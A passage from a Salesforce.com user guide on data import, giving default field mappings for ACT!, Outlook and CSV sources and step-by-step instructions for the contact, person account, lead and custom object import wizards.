Alt Phone Ext. Contact: Other Phone Ext.
Assistant Contact: Assistant's Name
Asst. Phone Contact: Asst. Phone
Asst. Phone Ext. Contact: Asst. Phone Ext.
City Contact: Mailing City and
Account: Billing City

Company Account: Name


Contact Contact: Full Name

637
Data Management Preparing Your Data for Import

ACT! Field Import Field


Country Contact: Mailing Country and
Account: Billing Country

Department Contact: Department


E-mail Login Contact: Email
(The import wizard verifies this is a valid email address in the
form: jsmith@acme.com)

Fax Contact: Fax and


Account: Fax

Fax Ext. Contact: Business Fax Ext.


First Name Contact: First Name
Home Address 1 Contact: Other Address 1
Home Address 2 Contact: Other Address 2
Home Address 3 Contact: Other Address 3
Home City Contact: Other City
Home Country Contact: Other Country
Home Phone Contact: Home Phone
Home State Contact: Other State
Home Zip Contact: Other Postal Code
ID/Status Account: Type
Last Name Contact: Last Name
Mobile Phone Contact: Mobile Phone
Note Does not import
Phone Contact: Phone and
Account: Phone

Phone Ext. Contact: Business Phone Ext.


Referred By Contact: Lead Source
Revenue Account: Annual Revenue
State Contact: Mailing State and
Account: Billing State

Ticker Symbol Account: Ticker Symbol


Title Contact: Title

638
Data Management Preparing Your Data for Import

ACT! Field Import Field


Web Site Account: Website
Zip Contact: Mailing Postal Code
Account: Billing Postal Code

2nd Contact 2nd Contact: Name


2nd Phone 2nd Contact: Phone
2nd Phone Ext. 2nd Contact: Phone Ext.
2nd Title 2nd Contact: Title
3rd Contact 3rd Contact: Name
3rd Phone 3rd Contact: Phone
3rd Phone Ext. 3rd Contact: Phone Ext.
3rd Title 3rd Contact: Title
2nd Last Reach, 3rd Last Reach, Asst. Title, Last Contact: Note or Account: Note
Attempt, Last Meeting, Last Reach, Last Results,
(In Professional, Enterprise, Unlimited, and Developer Edition
Letter Date, Pager, Spouse, User 1-15
organizations, you specify which fields import into a single
contact or account note; separate notes are not created for each
ACT! field.)

See Also:
Exporting from ACT!

Default Field Mapping for Outlook


Available in: All Editions

This table details how Outlook fields map toSalesforce.com account and contact import fields during an individual data import.

Outlook Field Import Field


Assistant’s Name Contact: Assistant’s Name
Assistant’s Phone Contact: Asst Phone
Birthday Contact: Birthdate
Business City Contact: Mailing City and
Account: Billing City

639
Data Management Preparing Your Data for Import

Outlook Field Import Field


Business Country Contact: Mailing Country and
Account: Billing Country

Business Fax Contact: Fax and


Account: Fax

Business Phone Contact: Phone


Business Postal Code Contact: Mailing Postal Code
Account: Billing Postal Code

Business Street Contact: Mailing Address and


Account: Billing Address

Business Street 2 Contact: Mailing Address and


Account: Billing Address

Business Street 3 Contact: Mailing Address and


Account: Billing Address

Company Account: Account Name and


Contact: Account

Company Main Phone Account: Phone


Department Contact: Department
E-mail Contact: Email
(The import wizard verifies this is a valid email address in the
form: jsmith@acme.com)

First Name Contact: First Name


Home City Contact: Other City
Home Country Contact: Other Country
Home Phone Contact: Home Phone
Home Postal Code Contact: Other Postal Code
Home Street Contact: Other Address
Home Street 2 Contact: Other Address
Home Street 3 Contact: Other Address
Job Title Contact: Title
Last Name Contact: Last Name

640
Data Management Preparing Your Data for Import

Outlook Field Import Field


Manager's Name Contact: Reports To
(In addition, if the name in this field does not match an
existing contact, a new contact is created with the manager’s
name.)

Mobile Phone Contact: Mobile Phone


Notes Contact: Description
Other Phone Contact: Other Phone
Referred By Contact: Lead Source
Title Contact: Salutation
Web Page Account: Website
Account, Anniversary, Billing Information, Contact: Note or Account: Note
Business Phone 2, Callback, Car Phone,
(In Professional, Enterprise, Unlimited, and Developer Edition
Categories, Children, Directory Server, E-mail
organizations, you specify which fields import into a single
2, E-mail 3, Government ID Number, Hobby, Home
contact or account note; separate notes are not created for each
Fax, Home Phone 2, Internet Free/Busy Address,
Outlook field.)
ISDN, Keywords, Language, Location, Middle Name,
Mileage, Office Location, Organizational ID
Number, Other City, Other Country, Other Fax,
Other Postal Code, Other State, Other Street,
Other Street 2, Other Street 3, Pager, PO Box,
Primary Phone, Profession, Radio Phone, Spouse,
Suffix, Telex, TTY/TDD Phone, User 1, User 2, User
3, User 4

See Also:
Exporting from Outlook

Field Mapping for Other Data Sources and Organization Import

Available in: All Editions


Organization import not available in: Personal Edition

If you are importing accounts and contacts for an organization, or importing individual data from sources other than Outlook
or ACT!, the Import Wizards map the fields as correctly as possible. You must fine-tune the mapping before completing the
import. Before importing your data, Salesforce.com recommends that you use Excel to label the columns in your import file
with the labels listed below. Field length limits for each object are listed in the Salesforce.com Field Reference Guide.

641
Data Management Preparing Your Data for Import

Note: The default mappings listed below are offered as a guide for importing; they do not ensure 100% accuracy in
mapping your data. You must fine-tune the mapping in the Import Wizards. Remember that you can map the same
field multiple times if necessary—for example, for the account and contact address fields.

Common Fields for Contacts and Accounts


Label for Your Import File Salesforce.com Field
Record Owner Contact: Contact Owner and
(Note: For individual imports, this field is not necessary, since Account: Account Owner
all data you import is automatically owned by you. In addition,
when importing records by Salesforce.com record ID, this
field is ignored.)

Currency ISO Code Contact: Contact Currency and


(Note: You can use this field only for organization imports in Account: Account Currency
organizations that use multiple currencies. For more
information, see Importing Multiple Currencies on page 628.)

Contact Fields
Label for Your Import File Salesforce.com Field
Assistant Contact: Assistant
Asst. Phone Contact: Asst. Phone
Asst. Phone Ext. Appended to Contact: Asst. Phone
Birthdate Contact: Birthdate
Business Fax Contact: Fax
Business Fax Ext. Appended to Contact: Fax
Business Phone Contact: Phone
Business Phone Ext. Appended to Contact: Phone
Contact Description Contact: Description
Contact Full Name or Contact: First Name and
First Name & Last Name Contact: Last Name
(Note: When importing contact names, use either Contact
Full Name or First Name and Last Name, but not both.)

Contact ID Contact: Contact ID


(Note: Record IDs are case-sensitive and should not be
changed.)

Contact Note Creates a note attached to the contact

642
Data Management Preparing Your Data for Import

Contact Fields
Label for Your Import File Salesforce.com Field
Department Contact: Department
E-mail Address Contact: Email
(Note: The import wizard verifies this is a valid email address
in the form: jsmith@acme.com.)

Email Opt Out Contact: Email Opt Out


(Note: Use “1” to indicate that user opts out; use “0” to indicate
that user wants emails.)

Home Phone Contact: Home Phone


Home Phone Ext. Appended to Contact: Home Phone
Lead Source Contact: Lead Source
Mailing City Contact: Mailing City
Mailing Country Contact: Mailing Country
Mailing Postal Code Contact: Mailing Address Zip/Postal Code
Mailing State Contact: Mailing State/Province
Mailing Street 1 Contact: Mailing Address
Mailing Street 2 Contact: Mailing Address
Mailing Street 3 Contact: Mailing Address
Mobile Phone Contact: Mobile
Mobile Phone Ext. Appended to Contact: Mobile
Other City Contact: Other City
Other Country Contact: Other Country
Other Phone Contact: Other Phone
Other Phone Ext. Appended to Contact: Other Phone
Other Postal Code Contact: Other Address Zip/Postal Code
Other State Contact: Other State/Province
Other Street 1 Contact: Other Address
Other Street 2 Contact: Other Address
Other Street 3 Contact: Other Address
Reports To Contact: Reports To

643
Data Management Preparing Your Data for Import

Contact Fields
Label for Your Import File Salesforce.com Field
(Note: If the import wizard cannot find a contact that matches
the name in this field, it will create a new contact using this
value as the Contact: First Name & Last Name.)

Salutation Prefixed to Contact: First Name


Title Contact: Title
2nd Contact Split into Contact: First Name & Last Name for a second
contact for the account
2nd Phone Contact: Phone for a second contact for the account
2nd Phone Ext. Appended to Contact: Phone for a second contact for the
account
2nd Title Contact: Title for a second contact for the account
3rd Contact Split into Contact: First Name & Last Name for a third
contact for the account
3rd Phone Contact: Phone for a third contact for the account
3rd Phone Ext. Appended to Contact: Phone for a third contact for the
account
3rd Title Contact: Title for a third contact for the account

Account Fields
Label for Your Import File Salesforce.com Field
Account Description Account: Description
Account Division Account: Account Division
(Note: You do not need to specify this field if you choose to
assign the division via the drop-down list on Step 1 of the
import wizard. If you do not map this field or use the division
drop-down list, the division is set to the record owner’s default
division for each record.)

Account Fax Account: Fax


Account Fax Ext. Appended to Account: Fax
Account ID Account: Account ID
(Note: Record IDs are case-sensitive and should not be
changed.)

Account Name Account: Account Name and


Contact: Account

644
Data Management Preparing Your Data for Import

Account Fields
Label for Your Import File Salesforce.com Field
Account Note Creates a note attached to the account
Account Number Account: Account Number
Account Phone Account: Phone
Account Phone Ext. Appended to Account: Phone
Account Site Account: Account Site
Account Type Account: Type
Billing City Account: Billing City
Billing Country Account: Billing Country
Billing Postal Code Account: Billing Zip/Postal Code
Billing State Account: Billing State/Province
Billing Street 1 Account: Billing Address
Billing Street 2 Account: Billing Address
Billing Street 3 Account: Billing Address
Employees Account: Employees
Industry Account: Industry
Ownership Account: Ownership
Parent Account Account: Parent Account
(Note: If the import wizard cannot find an account that
matches the parent account name, it will create a new account
using this value as the Account Name.)

Parent Account Site Account: Account Site


(Note: Indicates the site value of Parent Account.) (Note: Maps to the Account Site field in the parent
account.)

Rating Account: Rating


Revenue Account: Annual Revenue
Shipping City Account: Shipping City
Shipping Country Account: Shipping Country
Shipping Postal Code Account: Shipping Zip/Postal Code
Shipping State Account: Shipping State/Province
Shipping Street 1 Account: Shipping Address
Shipping Street 2 Account: Shipping Address

645
Data Management Preparing Your Data for Import

Account Fields
Label for Your Import File Salesforce.com Field
Shipping Street 3 Account: Shipping Address
SIC Code Account: SIC Code
Ticker Symbol Account: Ticker Symbol
Website Account: Website

Note: If you include record types in your import file, the Import Wizard uses the record owner’s default record type
when creating new records. For existing records, the Import Wizard does not update the record type field. For more
information, see Managing Record Types on page 1004.

Field Mapping for Importing Leads


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

When you import leads, the Import My Organization’s Leads wizard and the campaign Import Leads wizard map the fields
in your import file as correctly as possible, but you must fine-tune the mapping before completing the import. Prior to importing
your leads, it is recommended that you use Excel to label the columns in your lead import file with the labels listed in the table
below.
Note: The default mappings listed below are offered as a guide for importing; they do not insure 100% accuracy in
mapping your data. You must fine-tune the mapping in the Import Wizard.

Label for Your Import File Salesforce.com Lead Field


Annual Revenue Annual Revenue

City City

Company Company

Country Country

Lead Currency
Currency ISO Code

(Note: You can use this field only for organizations that use
multiple currencies see Importing Multiple Currencies on
page 628.)

Description Description

Email
Email

(The import wizard verifies this is a valid email address in the


form: jsmith@acme.com)

646
Data Management Preparing Your Data for Import

Label for Your Import File Salesforce.com Lead Field


Email Opt Out
Email Opt Out

(Use “1” to indicate that the user opts out; use “0” to indicate
that the user wants emails.)

No. of Employees No. of Employees

Fax Fax

First Name and Last Name


Full Name orFirst Name & Last Name

(Note: When importing lead names, use either Full Name


or First Name and Last Name, but not both.)

Industry Industry

Lead Division
Lead Division

(Note: You do not need to specify this field if you choose to


assign the division via the drop-down list on Step 1 of the
import wizard. If you do not map this field or use the division
drop-down list, the division is set to the record owner’s default
division for each record.)

Lead ID
Lead ID

(Note: Record IDs are case-sensitive and should not be


changed.)

Lead Source
Lead Source

(Note: You do not need to specify this field if you choose to


assign the same Lead Source to all leads on the first page
of the import wizard.)

Lead Status Lead Status

Mobile Phone Mobile

Phone Phone

Postal Code Postal Code

Rating Rating

Lead Owner
Record Owner

(Note: You do not need this field if assigning ownership via


a lead assignment rule. In addition, when importing records
by Salesforce.com record ID, this field is ignored.)

Salutation Added to beginning of First Name

647
Data Management Accessing the Import Wizards

Label for Your Import File Salesforce.com Lead Field


State State

Status Status

(For campaign Import Leads wizard only) (in the Campaign History related list of a lead)

Street 1 Address

Street 2 Address

Street 3 Address

Title Title

Website Website

Note:
If you include record types in this list, the Import Wizard uses the record owner’s default record type when creating
new records. For existing records, the Import Wizard does not update the record type field.
If you choose to use assignment rules, the Import Wizard uses the new owner’s default record type when creating new
records. When the assignment rules assign the record to a queue, the queue owner’s default record type is used.

See Also:
Import My Organization’s Leads

Accessing the Import Wizards


For Records You Own
Import wizards for records you personally own are located at Setup ➤ Import:
• Import My Contacts
• Import My Person Accounts

For Your Organization's Records


Import wizards for organization-wide data are located at Setup ➤ Data Management:
• Import My Organization’s Accounts and Contacts
• Import My Organization's Person Accounts
• Import My Organization’s Leads
• Import My Organization's Solutions
• Import My Organization's Custom Objects

For Campaign Members


To access the campaign import wizards, view a campaign and click Manage Members. Then click the appropriate link:

648
Data Management Accessing the Import Wizards

• Add Members - Import File (Lead Import Wizard )


• Update & Add Members - Import File (Campaign Update Wizard)

See Also:
Importing Overview
Importing Articles
FAQ: Importing

Import My Contacts
Available in: All Editions

With the Import My Contacts wizard, any user can import up to 500 personal contacts and associated business accounts.
Before beginning, make sure you have created an export file (see Creating Export Files for Import Wizards on page 629) and
correctly prepared your data (see Preparing Your Data for Import on page 634).
Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.

1. Start the wizard


Navigate to Setup ➤ Import ➤ Import My Accounts & Contacts, and click Start the Import Wizard!. Alternatively,
click the Import My Accounts & Contacts link in the Tools area of the account home page. Note that the labels for
business contacts and business accounts may have been renamed by your administrator, in which case the “Import My...”
links may have customized text.
2. Select the source

a. Specify the source application of your data - ACT!, Outlook, or other data source (any CSV file).
b. Click Next to continue.

3. Upload the file

a. Click Browse to load your file.


b. If importing from ACT! or Outlook, click Import Now!, or click Customize Mappings to verify the field mappings.
c. If importing from any other source, select the character encoding of the file. Most users will not need to change the
default setting.
d. Choose whether to match your contacts by name or by email. This field sets the criteria for avoiding duplicates. For
example, if you are matching by email and a record in your source file has the same email as a record in Salesforce.com,
then that record will be updated in Salesforce.com. If you are not matching by email and there is a record in
Salesforce.comwith the same email, then a new record will be created.
e. Choose Next to continue.

4. Map the fields

649
Data Management Accessing the Import Wizards

a. On four different mapping pages, the wizard associates the Salesforce.com field names with the field names from your
import file. You must check the default mappings and alter any incorrect mappings. For more information about the
default field mappings, see Preparing Your Data for Import on page 634.
b. Note that there is no Record Owner field; you are automatically assigned as the owner of any data you import. On
the Map Account Fields page, check the Overwrite existing account values box if you want to overwrite
existing business account fields with your import data. Note that you cannot use this checkbox to update existing field
data with blank values.
c. You can import data only into the fields that are editable for you in your page layout or field-level security settings.
(See Managing Page Layouts on page 1012 and Setting Field-Level Security on page 540. Field-level security is available
in Enterprise, Unlimited, and Developer Editions only.)
d. When all fields are assigned correctly, click Next.

5. Map the miscellaneous fields

a. The wizard reports the fields that do not map.


In Professional, Enterprise, Unlimited, and Developer Edition organizations, you can choose whether the unmapped
fields should be imported into an business account or contact Note or should not be imported at all. The fields are
imported into a single business account Note or a single contact Note; separate note fields are not created for each
import field.
b. When all fields are assigned correctly, click Import Now!.

See Also:
Accessing the Import Wizards

650
Data Management Accessing the Import Wizards

Import My Person Accounts


Person account import available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import your own person accounts: “Create” on accounts
AND
“Read” on contacts
AND
“Import Personal Contacts”
AND
At least one person account record type available for your
profile

With the Import My Person Accounts wizard, you can import person accounts that you own. To understand how person
account records are matched to prevent duplicates, see What Is Imported for Person Accounts? on page 621.
Note: Your administrator may have renamed “person account” to another term. If so, the import wizard will refer to
the new name.

Follow these steps to import your person accounts. Click each link for more details.

1. Launch the wizard


2. Prevent duplicate records
3. Select record type
4. Upload your import file
5. Map fields
6. Confirm and submit your import
7. Complete your import

Launch the wizard


1. To import your person accounts, choose Setup ➤ Import ➤ Import My Person Accounts.
Alternatively, click Import My Person Accounts in the Tools area of the accounts home page.
2. For best results, perform all of the steps provided on the introductory page.
3. Click Start the Import Wizard! to begin your import.

Prevent Duplicate Records


1. Choose the field that you are using to match existing records in Salesforce.com with records in your import file. The
External ID option is disabled if no external ID fields have been created for your records.

651
Data Management Accessing the Import Wizards

2. Choose what you want to happen if matches are found - only import new records, only update existing records, or update
existing records and import new ones.
Note: If you have chosen to match by Salesforce.com ID, you can only update existing records; you cannot
import new ones.

3. Click Next.

Select record type


1. Choose the record type that you want to assign to the records in your import file.
2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record
types of existing records.
3. Click Next.

Upload your import file


1. Click Browse... to provide the location of your import file.
2. Choose the character encoding of your import file. In most cases, you can accept the default value.
3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered
and the language of the records in the import file.
4. Click Next.

Map fields
1. Map the fields in your import file to the appropriate Salesforce.com fields by matching the fields on the left, which includes
all the columns in your import file, with the appropriate Salesforce.com field on the right. If the column labels in your
import file exactly match field labels in Salesforce.com, the wizard automatically maps those fields for you. However, if
two or more of your file's column labels are identical matches with a field in Salesforce.com, you must map the fields
manually.
Note: Some Salesforce.com fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the
Salesforce.com fields in your file cannot be mapped.

2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.

Confirm and submit your import


1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve
potential problems.
2. Click Import Now! to submit your import request to Salesforce.com.

Complete your import


1. A message indicates approximately how long the import will take. When the import operation is finished, a message from
Customer Support will be sent to the email address shown.
2. Click Finish to exit the wizard.

652
Data Management Accessing the Import Wizards

3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 700.

See Also:
Accessing the Import Wizards

Import My Organization’s Accounts and Contacts


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

With the Import My Organization’s Accounts and Contacts wizard, administrators, and users with the “Modify All Data”
permission, can import up to 50,000 business accounts and contacts at a time for multiple users. Before beginning, make sure
you have created an export file (see Creating Export Files for Import Wizards on page 629) and correctly prepared your data
(see Preparing Your Data for Import on page 634).
Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.

1. Start the wizard.


Go to Setup ➤ Data Management ➤ Import Accounts/Contacts (or Import Business Accounts/Contacts if your
organization uses person accounts). Review the steps provided on the welcome page, then click Start the Import Wizard!.
Alternatively, click the appropriate link in the Tools area of the accounts home page.
Note: If your organization uses person accounts and the labels for business accounts and business contacts have
been renamed, the renamed labels will appear in the Tools area of the accounts home page, but not in the Data
Management area under Setup. (Renamed labels do not appear in any pages under App Setup or Administration
Setup.)

2. Create your import file.

a. Follow the instructions to create an import file, or see Creating Export Files for Import Wizards on page 629.
b. Click Next to continue.

3. Upload the file.

a. Click Browse to load your file.


b. Select the character encoding of your file. Most users will not need to change the default character encoding setting.
c. Choose whether to match your organization’s contacts by Salesforce.com ID, name, or email. Similarly, choose whether
to match your organization’s accounts by Salesforce.com ID or by name and site. Note that matching by Salesforce.com
ID is inclusive of both contacts and accounts.
These Matching Type fields set the criteria for avoiding duplicates. For example, if you are matching by email and
a record in your source file has the same email as a record in Salesforce.com, then that record will be updated in
Salesforce.com. If you are not matching by email and there is a record in Salesforce.com with the same email, then a
new record will be created. Note that contacts are matched only within the same account. If contacts related to different
accounts have the same name or email, they treated as separate contacts.
d. Organizations that use the Translation Workbench can specify the language of the import data.

653
Data Management Accessing the Import Wizards

e. If you use divisions, select a division to assign to all imported records. Alternatively, select “None” to use the record
owner’s default division on each record, or specify the division in your import file.
f. Select the checkbox to trigger workflow rules for new and updated records that match workflow rule criteria.
g. Click Next to continue.

4. Map the fields.

a. On four different mapping pages, the wizard associates the Salesforce.com field names with the field names from your
import file. You must check the default mappings and alter any incorrect mappings. For more information about the
default field mappings, see Preparing Your Data for Import on page 634.
b. Remember to map the Record Owner field with your Record Owner field so that record ownership is assigned
correctly. When importing records by Salesforce.com record ID, the Record Owner field in your import file is ignored.
All records retain their existing owners; record owners cannot be updated using the import wizard.
c. On the Map Account Fields page, check the Overwrite existing account values box if you want to overwrite
existing account fields with your import data. Note that you cannot use this checkbox to update existing field data with
blank values.
d. When all fields are assigned correctly, click Next.

5. Map the miscellaneous fields.

a. The wizard reports the fields that do not map. In Professional, Enterprise, Unlimited, and Developer Edition
organizations, you can choose whether the unmapped fields should be imported into an account or contact Note or
should not be imported at all. The fields are imported into a single account Note or a single contact Note; separate
note fields are not created for each import field.
b. When all fields are assigned correctly, click Next.

6. Review and confirm.

a. If there are warnings on this page, stop the import process and correct your import file.
b. Select Import Now! to send your import request. Your data is imported within the next 24 hours, and we notify you
via email when the import is complete. Once the system begins processing, you cannot cancel the import (see Undoing
an Import on page 665).

7. Check the Import Queue.

a. You can use the Import Queue to check the progress of your import. Click Setup ➤ Monitoring ➤ Imports.
Alternatively, click the Import Queue link on the Import Wizard for My Organization page. For imports that have
not begun processing, you can click Del to cancel the import.

Note: If your organization uses territory management, your imported accounts are always evaluated by account
assignment rules. See Territory Management Overview on page 1826.

See Also:
Accessing the Import Wizards

654
Data Management Accessing the Import Wizards

Import My Organization's Person Accounts


Person account import available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import your organization's person accounts: “Import Person Accounts”

With the Import My Organization's Person Accounts wizard, you can import person accounts that are owned by different
users. To understand how person account records are matched to prevent duplicates, see What Is Imported for Person Accounts?
on page 621.
Note: If the label for person accounts has been renamed for your organization, the renamed label will appear in the
import wizard itself and in the Tools area of the accounts home page, but not in the Data Management area under
Setup. (Renamed labels do not appear in any pages under App Setup or Administration Setup.)

Follow these steps to import person accounts for your organization.

1. Launch the wizard


2. Prevent duplicate records
3. Specify owner and lookup relationships
4. Select record type
5. Upload your import file
6. Map fields
7. Confirm and submit your import
8. Complete your import

Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup
of your organization.

Launch the wizard


To import person accounts for your organization:
1. Choose Setup ➤ Data Management ➤ Import Person Accounts.
Alternatively, click Import My Organization's Person Accounts in the Tools area of the accounts home page.
2. For best results, perform all of the steps provided on the introductory page.
3. Click Start the Import Wizard! to begin your import.

Prevent duplicate records


1. The import wizard can compare the records in your import file with existing records in Salesforce.com in order to prevent
duplicate records from being created as a result of your import. Indicate whether you would like to prevent duplicate records
from being created. You must select Yes in order to update existing records.
2. If you choose Yes, then additional choices will appear:

655
Data Management Accessing the Import Wizards

• Choose the field that you are using to match existing records in Salesforce.com with records in your import file. The
External ID option is disabled if no external ID fields have been created for your records.
• Choose what you want to happen if matches are found—only import new records, only update existing records, or
update existing records and import new ones.
Note: If you have chosen to match by Salesforce.com ID, you can only update existing records; you cannot
import new ones.

3. Click Next.

Specify owner and lookup relationships


1. Specify the field in your import file that contains person account owners.
When you choose “Name,” the following formats are valid:
• First name followed by last name
• Last name followed by first name
• Alias
• Username
For more information, see User Fields on page 27.
2. Records can have custom fields that create lookup relationships with other records. If you have included lookup fields in
your import file, then check the corresponding boxes.
Note: Any related records must already exist in Salesforce.com before proceeding. Related records will not be
updated during your import even if your import file contains different values for fields on those related records.

3. Click Next.

Select record type


1. Choose the record type that you want to assign to the records in your import file.
2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record
types of existing records.
3. Click Next.

Upload your import file


1. Click Browse... to provide the location of your import file.
2. Choose the character encoding of your import file. In most cases, you can accept the default value.
3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered
and the language of the records in the import file.
4. Click Next.

Map fields
1. Map the fields in your import file to the appropriate Salesforce.com fields by matching the fields on the left, which includes
all the columns in your import file, with the appropriate Salesforce.com field on the right. If the column labels in your
import file exactly match field labels in Salesforce.com, the wizard automatically maps those fields for you. However, if
two or more of your file's column labels are identical matches with a field in Salesforce.com, you must map the fields
manually.

656
Data Management Accessing the Import Wizards

Note: Some Salesforce.com fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the
Salesforce.com fields in your file cannot be mapped.

2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.

Confirm and submit your import


1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve
potential problems.
2. Click Import Now! to submit your import request to Salesforce.com.

Complete your import


1. A message indicates approximately how long the import will take. When the import operation is finished, a message from
Customer Support will be sent to the email address shown.
2. Click Finish to exit the wizard.
3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 700.

See Also:
Accessing the Import Wizards

Import My Organization’s Leads


Available in: Group, Professional, Enterprise, Unlimited, and DeveloperEditions

User Permissions Needed


To use the Import My Organization's Leads wizard: “Read”, “Create”, and “Edit” on leads
AND
“Import Leads”

With the Import My Organization’s Leads wizard, administrators, users with the Marketing User profile, or users with the
“Import Leads” permission and “Read,” “Create,” and “Edit” permissions on leads can import up to 50,000 leads at a time for
multiple users. Before beginning, make sure you have created an export file (see Creating Export Files for Import Wizards on
page 629) and correctly prepared your data (see Field Mapping for Importing Leads on page 646).
Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.

1. Start the wizard.


Click Setup ➤ Data Management ➤ Import Leads, and click Start the Import Wizard.

657
Data Management Accessing the Import Wizards

2. Upload the file.

a. Select Browse to load your import file.


b. If desired, select a value to import into the Lead Source field of all imported leads. Alternatively, you can assign the
lead source via a Lead Source field in your import file. You must specify a Lead Source value that is not marked
as “Converted”; leads with a “Converted” status will not be imported.
c. Next, choose a lead assignment rule to determine the owners of imported leads (see Managing Assignment Rules on
page 1046). If you have a Record Owner field in your import file, do not select an assignment rule. Without an assignment
rule or a Record Owner field in your import file, all leads are assigned to the administrator doing the import. When
importing records by Salesforce.com record ID, the Record Owner field in your import file is ignored. All records
retain their existing owners; record owners cannot be updated using the import wizard.
d. If you have chosen an assignment rule, select the Use assignment rule settings to send notification
emails to record owners checkbox to send notification emails to owners of newly created leads. If you do not
select the checkbox, no email notifications are sent, regardless of your assignment rule settings.
e. Then select the character encoding of your file. Most users do not need to change the default setting.
f. Choose whether to match your organization’s leads by Salesforce.com ID, name, or email. This field sets the criteria
for avoiding duplicates. For example, if you are matching by email and a record in your source file has the same email
as a record in Salesforce.com, then that record will be updated in Salesforce.com. If you are not matching by email and
there is a record in Salesforce.com with the same email, then a new record will be created. Select a matching type of
“None” if you do not want to de-duplicate leads; a new record will be created for every lead in your import file.
When importing new leads for a campaign, the Matching Type option is not available; the wizard does not merge
duplicate leads.
g. Organizations that use the Translation Workbench can specify the language of the import data.
h. If you use divisions, select a division to assign to all imported records. Alternatively, select “None” to use the record
owner’s default division on each record, or specify the division in your import file.
i. Select the checkbox to trigger workflow rules for new and updated records that match workflow rule criteria.
j. If your organization has multiple record types on leads, choose the active record type that will be applied to all leads in
your import file. However, if you are logged in as a user who has a default lead record type selected at Setup ➤ My
Personal Information ➤ Record Type Selection ➤ Lead, then this drop-down list does not display and your default
lead record type is automatically applied to the imported records.
k. Click Next to continue.

3. Map the fields.


a. The wizard associates the Salesforce.com lead field names with the field names in your import file. You must verify
the default mappings and alter any incorrect mappings. For more information about the default mappings, see Field
Mapping for Importing Leads on page 646. Any unmapped fields are not imported.
b. If you chose to avoid duplicate leads (that is, the selected Matching Type is not “None”), check the Overwrite
existing lead values box if you want to overwrite existing lead fields with your import data. Note that you
cannot use this checkbox to update existing field data with blank values.
c. Click Next to continue.

4. Review and confirm.


Choose Import Now! to send your import request. Your leads are imported within the next 24 hours, and we notify you
via email when the import is complete. Once the system begins processing, you cannot cancel the import. See Undoing
an Import on page 665.
5. Check the Import Queue.

658
Data Management Accessing the Import Wizards

You can use the Import Queue link to check the progress of your import. Click Setup ➤ Monitoring ➤ Imports.
Alternatively, click the Import Queue link on the Import Wizard for My Organization’s Leads page. For imports that
have not begun processing, you can click Del to cancel the import.

See Also:
Accessing the Import Wizards

Import My Organization's Custom Objects


Custom object import available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import custom objects: “Modify All Data”

With the Import My Organization's Custom Objects wizard, you can import custom objects.
Follow these steps to import custom objects. Click each link for more details.

1. Launch the wizard


2. Choose the custom object
3. Prevent duplicate records
4. Specify owner, master-detail, and lookup relationships
5. Set lookup record matching
6. Select record type
7. Upload your import file
8. Map fields
9. Confirm and submit your import
10. Complete your import

Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup
of your organization.

Launch the wizard


1. To import custom objects, choose Setup ➤ Data Management ➤ Import Custom Objects.
2. For best results, perform all of the steps provided on the introductory page.
3. Click Start the Import Wizard! to begin your import.

Choose the custom object


1. The first step of the wizard lists the custom objects that have been defined for your organization.
2. Identify the custom object you are importing by selecting the corresponding radio button.
3. Click Next.

659
Data Management Accessing the Import Wizards

Prevent duplicate records


1. The import wizard can compare the records in your import file with existing records in Salesforce.com in order to prevent
duplicate records from being created as a result of your import. Indicate whether you would like to prevent duplicate records
from being created. You must select Yes in order to update existing records.
2. If you choose Yes, then additional choices will appear:
• Choose the field that you are using to match existing records in Salesforce.com with records in your import file. The
External ID option is disabled if no external ID fields have been created for your records.
• Choose what you want to happen if matches are found—only import new records, only update existing records, or
update existing records and import new ones.
Note: If you have chosen to match by Salesforce.com ID, you can only update existing records; you cannot
import new ones.

3. Click Next.

Specify owner, master-detail, and lookup relationships


1. Custom objects can be owned by users, or they can have a master-detail relationship with other records. For example, a
custom object can have a custom field that creates a master-detail relationship with accounts. In that case, your import file
must include the names or IDs of all associated accounts.
• If your custom objects are owned by users, then choose the field in your import file to use for matching record owners.
When you choose “Name,” the following formats are valid:
- First name followed by last name
- Last name followed by first name
- Alias
- Username
For more information, see User Fields on page 27.
• If your records have a master-detail relationship with another kind of record, then choose the field in your import file
to use for matching master records.

2. Records can have custom fields that create lookup relationships with other records. If you have included lookup fields in
your import file, then check the corresponding boxes.
Note: Any related records must already exist in Salesforce.com before proceeding. Related records will not be
updated during your import even if your import file contains different values for fields on those related records.

3. Click Next.

Set lookup record matching


1. If you checked one or more lookup fields in the previous step, select the field (name or ID) you are using to uniquely
identify those related records.
2. Click Next.

Select record type


1. If the records you are importing have record types, then choose the record type that you want to assign to the records in
your import file.

660
Data Management Accessing the Import Wizards

2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record
types of existing records.
3. Click Next.

Upload your import file


1. Click Browse... to provide the location of your import file.
2. Choose the character encoding of your import file. In most cases, you can accept the default value.
3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered
and the language of the records in the import file.
4. Click Next.

Map fields
1. Map the fields in your import file to the appropriate Salesforce.com fields by matching the fields on the left, which includes
all the columns in your import file, with the appropriate Salesforce.com field on the right. If the column labels in your
